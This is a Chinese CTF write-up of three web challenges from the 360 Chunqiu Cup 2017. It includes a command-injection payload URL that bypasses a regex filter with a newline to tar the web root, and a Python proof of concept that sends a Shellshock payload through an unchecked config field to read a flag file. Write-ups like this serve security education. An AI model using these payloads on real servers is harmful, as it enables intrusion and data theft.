前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >360春秋杯2017 writeup

360春秋杯2017 writeup

作者头像
LoRexxar
发布2023-02-21 16:42:56
2240
发布2023-02-21 16:42:56
举报
文章被收录于专栏:LoRexxar's Blog

题目不是太有趣,基本都是从hincon那里扒来的,正好整理完了,就发出来吧

where is my cat

没什么好说的,很有ichunqiu风格的一题

进去发现https签发机构不合法,点开发现颁证机关找到一个域名

到这里本以为是抄hitcon的,然后一通操作发现并不是…

然后发现cookie里有个host=0

把host改成那个域名,getflag

写一写 看一看

题目是原题抄 http://www.2cto.com/article/201510/446796.html

但是因为没有运维,所以服务器日常爆炸

进来发现可以编辑文件,然后找到exec.php

代码语言:javascript
复制
<?php
    highlight_file(__FILE__);

    $dir = 'tmp/'; 
    if(!file_exists($dir))
    mkdir($dir);   
    chdir($dir);
    if(!isset($_GET['shell'])){
    phpinfo();
    exit();
    }
    $shell = $_GET['shell'];
    for ( $i=0; $i<count($shell); $i++ ){
        if ( !preg_match('/^\w+$/', $shell[$i]) )
            exit();
    }  
    session_start();
    $path = $_SESSION['path'];
    $shell =  str_replace('path','/'.$path,implode(" ",$shell));
    exec("/bin/hence " . $shell);
?>

前面都很好绕过,由于使用implode解参数,所以可以传入数组,但是输入只能输入字符很难受

先尝试wget+数字请求外网,貌似失败了,请求不到

然后是通过前台的编辑写文件内容,然后php+path执行,但是,做题的时候,编辑文件的接口炸了

最后想了一个办法,用tar压缩整个web目录

payload

代码语言:javascript
复制
http://106.75.34.78:2081/exec.php?shell[]=a%0A&shell[]=tar&shell[]=cvf&shell[]=ddog&shell[]=pathvarpathwwwpathhtml

下载下来grep找到flag

mail

打开http://106.75.106.156/web.tar.gz获取源码

发现核心问题是sendmail,但是没有可以利用的点

找到一篇文章 https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html

发现配合bash破壳漏洞可以执行任意命令 http://www.freebuf.com/articles/system/50065.html

option里有这样一段设置

image_1be7kitqoi9p1dljektemf1ge69.png-24kB
image_1be7kitqoi9p1dljektemf1ge69.png-24kB

去追寻这个变量

代码语言:javascript
复制
function saveConfig($config){
   global $conn;
   foreach ($config as $key => $value) {
      $key = addslashes_deep($key);
      $strsql="select db_value from config where db_name='$key' limit 1"; 
      $result=mysql_query($strsql,$conn);
      $row = mysql_fetch_array($result);
      if(empty($row))
      {
         $strsql="insert into config(db_name,db_value) values('$key','$value')"; 
         $result=mysql_query($strsql,$conn);
      }else{
         $strsql="update config set db_value='$value' where db_name='$key'"; 
         $result=mysql_query($strsql,$conn);
      }
   }
}

function getConfig($key){
   global $conn;
   $strsql="select db_value from config where db_name='$key' limit 1"; 
   $result=mysql_query($strsql,$conn);
   $row = mysql_fetch_array($result);
   if(!empty($row))
   {
     return $row['db_value'];
   }
   return "";
}

配合option里的代码

代码语言:javascript
复制
if($_GET['action']== 'save')
{
  $config = $_POST['config'];
  
  saveConfig($config);
  
  die("<script>alert('保存成功!');history.go(-1);</script>");
}

我们发现修改里虽然没有timezone,但是并没有做任何校验,那我们直接post就可以修改了

poc

代码语言:javascript
复制
import requests

def f():
	url='http://106.75.106.156/options.php?action=save'
	payload={
		"config[timezone]":'''() { x; };  cat flag.php > /var/www/html/upload/1.txt''',
		"config[root_path]":"/var/www/html",
		"config[send_mail]":"xxx@mail.co",
	}
	cookies={
	"PHPSESSID":"7lm7gsvf2l54jvu1vejt2skvj5",
	}
	res=requests.post(url,cookies=cookies,data=payload)
	print res.content

f()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017/04/21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • where is my cat
  • 写一写 看一看
  • mail
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档